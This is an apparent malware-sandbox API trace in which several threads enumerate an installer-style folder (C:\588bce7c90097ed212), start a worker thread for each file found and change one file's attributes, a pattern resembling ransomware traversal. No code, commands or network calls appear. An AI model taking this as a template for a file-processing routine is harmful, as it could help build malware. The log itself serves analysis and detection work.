	[0073.424] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.424] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70e00
	[0073.425] wcscmp (_String1=".", _String2=".") returned 0
	[0073.425] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.425] wcscmp (_String1="..", _String2=".") returned 1
	[0073.425] wcscmp (_String1="..", _String2="..") returned 0
	[0073.425] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.425] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.425] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.425] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730a60
	[0073.425] wcscpy (in: _Dest=0x4730a60, _Source="C:\\588bce7c90097ed212\\2070" | out: _Dest="C:\\588bce7c90097ed212\\2070") returned="C:\\588bce7c90097ed212\\2070"
	[0073.425] wcscat (in: _Dest=0x4730a60, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\"
	[0073.425] wcscat (in: _Dest=0x4730a60, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned="C:\\588bce7c90097ed212\\2070\\eula.rtf"
	[0073.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638
	[0073.425] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.426] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.426] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.426] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47336c8
	[0073.426] wcscpy (in: _Dest=0x47336c8, _Source="C:\\588bce7c90097ed212\\2070" | out: _Dest="C:\\588bce7c90097ed212\\2070") returned="C:\\588bce7c90097ed212\\2070"
	[0073.426] wcscat (in: _Dest=0x47336c8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2070\\") returned="C:\\588bce7c90097ed212\\2070\\"
	[0073.426] wcscat (in: _Dest=0x47336c8, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml"
	[0073.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47336c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c
	[0073.426] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.426] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.426] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.426] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.426] FindClose (in: hFindFile=0x2d70e00 | out: hFindFile=0x2d70e00) returned 1
	[0073.427] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.427] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.427] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70780) returned 1

Thread:
	id = 65
	os_tid = 0x12f4

	[0073.427] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.427] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\3076" | out: _Dest="C:\\588bce7c90097ed212\\3076") returned="C:\\588bce7c90097ed212\\3076"
	[0073.428] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\"
	[0073.428] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\3076\\*") returned="C:\\588bce7c90097ed212\\3076\\*"
	[0073.428] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.428] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70e00
	[0073.428] wcscmp (_String1=".", _String2=".") returned 0
	[0073.428] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.428] wcscmp (_String1="..", _String2=".") returned 1
	[0073.428] wcscmp (_String1="..", _String2="..") returned 0
	[0073.428] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.428] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.428] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.428] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730ab0
	[0073.428] wcscpy (in: _Dest=0x4730ab0, _Source="C:\\588bce7c90097ed212\\3076" | out: _Dest="C:\\588bce7c90097ed212\\3076") returned="C:\\588bce7c90097ed212\\3076"
	[0073.428] wcscat (in: _Dest=0x4730ab0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\"
	[0073.428] wcscat (in: _Dest=0x4730ab0, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned="C:\\588bce7c90097ed212\\3076\\eula.rtf"
	[0073.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640
	[0073.429] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.429] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.429] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.429] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4733730
	[0073.429] wcscpy (in: _Dest=0x4733730, _Source="C:\\588bce7c90097ed212\\3076" | out: _Dest="C:\\588bce7c90097ed212\\3076") returned="C:\\588bce7c90097ed212\\3076"
	[0073.429] wcscat (in: _Dest=0x4733730, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\"
	[0073.429] wcscat (in: _Dest=0x4733730, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml"
	[0073.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4733730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644
	[0073.430] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.430] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.430] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.430] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.430] FindClose (in: hFindFile=0x2d70e00 | out: hFindFile=0x2d70e00) returned 1
	[0073.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70bc0) returned 1

Thread:
	id = 66
	os_tid = 0x12fc

	[0073.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3a) returned 0x2d733d8
	[0073.431] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\3082" | out: _Dest="C:\\588bce7c90097ed212\\3082") returned="C:\\588bce7c90097ed212\\3082"
	[0073.431] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\"
	[0073.431] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\3082\\*") returned="C:\\588bce7c90097ed212\\3082\\*"
	[0073.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.431] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70e00
	[0073.431] wcscmp (_String1=".", _String2=".") returned 0
	[0073.432] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.432] wcscmp (_String1="..", _String2=".") returned 1
	[0073.432] wcscmp (_String1="..", _String2="..") returned 0
	[0073.432] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0073.432] wcscmp (_String1="eula.rtf", _String2=".") returned 1
	[0073.432] wcscmp (_String1="eula.rtf", _String2="..") returned 1
	[0073.432] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730b00
	[0073.432] wcscpy (in: _Dest=0x4730b00, _Source="C:\\588bce7c90097ed212\\3082" | out: _Dest="C:\\588bce7c90097ed212\\3082") returned="C:\\588bce7c90097ed212\\3082"
	[0073.432] wcscat (in: _Dest=0x4730b00, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\"
	[0073.432] wcscat (in: _Dest=0x4730b00, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned="C:\\588bce7c90097ed212\\3082\\eula.rtf"
	[0073.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4730b00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648
	[0073.432] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0073.432] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1
	[0073.432] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1
	[0073.432] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4733798
	[0073.433] wcscpy (in: _Dest=0x4733798, _Source="C:\\588bce7c90097ed212\\3082" | out: _Dest="C:\\588bce7c90097ed212\\3082") returned="C:\\588bce7c90097ed212\\3082"
	[0073.433] wcscat (in: _Dest=0x4733798, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\"
	[0073.433] wcscat (in: _Dest=0x4733798, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml"
	[0073.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4733798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c
	[0073.433] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0073.433] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1
	[0073.433] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1
	[0073.433] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0073.433] FindClose (in: hFindFile=0x2d70e00 | out: hFindFile=0x2d70e00) returned 1
	[0073.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.433] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70a00) returned 1

Thread:
	id = 67
	os_tid = 0x12f8

	[0073.434] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2d733d8
	[0073.434] wcscpy (in: _Dest=0x2d733d8, _Source="C:\\588bce7c90097ed212\\Client" | out: _Dest="C:\\588bce7c90097ed212\\Client") returned="C:\\588bce7c90097ed212\\Client"
	[0073.434] wcscat (in: _Dest=0x2d733d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\"
	[0073.434] wcscat (in: _Dest=0x2d733d8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\Client\\*") returned="C:\\588bce7c90097ed212\\Client\\*"
	[0073.434] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.434] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70e00
	[0073.435] wcscmp (_String1=".", _String2=".") returned 0
	[0073.435] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.435] wcscmp (_String1="..", _String2=".") returned 1
	[0073.435] wcscmp (_String1="..", _String2="..") returned 0
	[0073.435] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0073.435] wcscmp (_String1="Parameterinfo.xml", _String2=".") returned 1
	[0073.435] wcscmp (_String1="Parameterinfo.xml", _String2="..") returned 1
	[0073.435] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4733800
	[0073.435] wcscpy (in: _Dest=0x4733800, _Source="C:\\588bce7c90097ed212\\Client" | out: _Dest="C:\\588bce7c90097ed212\\Client") returned="C:\\588bce7c90097ed212\\Client"
	[0073.435] wcscat (in: _Dest=0x4733800, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\"
	[0073.435] wcscat (in: _Dest=0x4733800, _Source="Parameterinfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml"
	[0073.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4733800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650
	[0073.436] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0073.436] wcscmp (_String1="UiInfo.xml", _String2=".") returned 1
	[0073.436] wcscmp (_String1="UiInfo.xml", _String2="..") returned 1
	[0073.436] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d53c68
	[0073.436] wcscpy (in: _Dest=0x2d53c68, _Source="C:\\588bce7c90097ed212\\Client" | out: _Dest="C:\\588bce7c90097ed212\\Client") returned="C:\\588bce7c90097ed212\\Client"
	[0073.436] wcscat (in: _Dest=0x2d53c68, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\"
	[0073.436] wcscat (in: _Dest=0x2d53c68, _Source="UiInfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\Client\\UiInfo.xml"
	[0073.436] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d53c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654
	[0073.437] FindNextFileW (in: hFindFile=0x2d70e00, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0073.437] FindClose (in: hFindFile=0x2d70e00 | out: hFindFile=0x2d70e00) returned 1
	[0073.437] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d84bf0) returned 1
	[0073.437] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d733d8) returned 1
	[0073.437] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73078) returned 1

Thread:
	id = 68
	os_tid = 0xa28

	[0073.438] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80
	[0073.439] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html", dwFileAttributes=0x20) returned 1
